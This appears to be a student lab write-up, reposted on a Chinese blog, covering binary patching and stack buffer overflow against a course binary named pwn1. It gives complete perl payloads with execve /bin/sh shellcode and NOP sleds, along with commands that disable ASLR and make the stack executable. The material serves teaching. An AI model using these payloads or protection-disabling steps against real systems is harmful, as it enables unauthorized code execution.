博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
20145237 实验一 逆向与Bof基础
阅读量:6223 次
发布时间:2019-06-21

本文共 2477 字,大约阅读时间需要 8 分钟。

20145237 实验一 逆向与Bof基础

1.直接修改程序机器指令,改变程序执行流程

此次实验是下载老师传给我们的一个名为pwn1的文件。

首先,用 objdump -d pwn1 对pwn1进行反汇编
889835-20180318201642503-1767591499.png

可以得到,getshell函数的地址是0804847d,foo函数地址是08048491,main函数调用foo,对应机器指令为“e8 d7ffffff”,那我们想让它调用getShell,只要修改“ d7ffffff ”为"getShell-80484ba"对应的补码就行.main函数调用foo函数的汇编指令是e8 d7ffffff,需要将e8 d7ffffff改成0804847d对应补码,此时加上偏移量即可,即将d7改成d7-(91-7d)=c3.

接着我们输入vi pwn1打开pwn1,然后输入指令%!xxd将文件转换成16进制显示,利用搜索功能进行搜索将d7改为c3。
889835-20180318202626365-630892087.png

889835-20180318204647470-923896340.png

再次输入%!xxd -r进行反汇编(在这里不能先进行保存然后再反汇编,一定要先反汇编),然后输入:wq保存并退出。

889835-20180318204711621-1327012670.png

2.通过构造输入参数,造成BOF攻击,改变程序执行流

先输入指令gdb pwn1,然后输入r

接着输入1111111122222222333333334444444455555555,输入info r来查看各个寄存器的值,可以看到eip的值为5。
889835-20180318205615414-1486154318.png

接着输入1111111122222222333333334444444412345678(12345678可换为学号)

889835-20180318210218896-2052410377.png

可以看到eip为34333231

接着输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input并且使用十六进制查看指令xxd查看input文件是否符合预期。
889835-20180318210537128-2044725346.png

3.注入Shellcode并执行

先输入apt-get install execstack下载··execstack··。

然后输入下面的指令

execstack -s pwn1    //设置堆栈可执行execstack -q pwn1    //查询文件的堆栈是否可执行more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化more /proc/sys/kernel/randomize_va_space

构造要注入的payload。

Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
--

我们这个buf够放这个shellcode了

结构为:nops+shellcode+retaddr。
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
接下来就根据实验指导输入命令
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
\x4\x3\x2\x1为溢出到eip的部分。
我输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号为4436,如图:

接着进行gdb调试,输入attach 4436(进程号)

889835-20180318224650811-1485485409.png

按照步骤设置断点,输入disassemble foo,查看foo的栈地址,输入break *080484a5,接着输入c继续运行。

输入info r,查看栈的地址,然后输入x/32x 0xffffd2f0(esp)
889835-20180318224755485-1976423110.png

根据上图,选择把地址改为0xffffd310,输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd3\xff\xff\x00"' > input_shellcode重新构造input,输入(cat input_shellcode; cat) | ./pwn1,运行pwn1,发现失败。

3.2 retaddr+nop+shellcode(成功)

由实验2知,33-36位为eip,即想要覆盖的区域,37位后为shellcode,所以输入perl -e 'print "A" x 32;print "\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode,用32个A去填充前32位,33-36位为3.1试验中的0x90909090的地址加上/x24,即0xffffd30c+0x24=0xffffd330

得到:
889835-20180318224838274-1702120004.png

转载于:https://www.cnblogs.com/20145237fhn/p/8597491.html

你可能感兴趣的文章
继承性
查看>>
【ItemizedOverlay的ArrayIndexOutOfBoundsException/NullPointerException异常解决办法】
查看>>
ubuntu无法激活输入法,Zendstudio无法激活中文输入法问题
查看>>
linux下删除文件恢复方法
查看>>
Linux下如何识别IDER的软驱和光驱
查看>>
TreeView控件应用(包含递归调用)
查看>>
Android中文API(95)——SimpleExpandableListAdapter
查看>>
国内的机器视觉技术行业发展趋势分析
查看>>
Oracle中的nvl函数
查看>>
云场景实践研究第86期:美甲帮
查看>>
使用Windows远程桌面(mstsc)通过RDP协议访问Ubuntu/Debian服务器
查看>>
LeetCode - 4. Median of Two Sorted Arrays
查看>>
浅谈活动目录域名称空间设计
查看>>
如何写好一封邮件
查看>>
CUDA学习(十八)
查看>>
关于 Windows 7 的 200M 引导卷
查看>>
项目经理之初为项目经理
查看>>
C语言结构指针传递结构内容
查看>>
Python过渡性模块重载(递归重载模块)
查看>>
mysql错误信息的利用
查看>>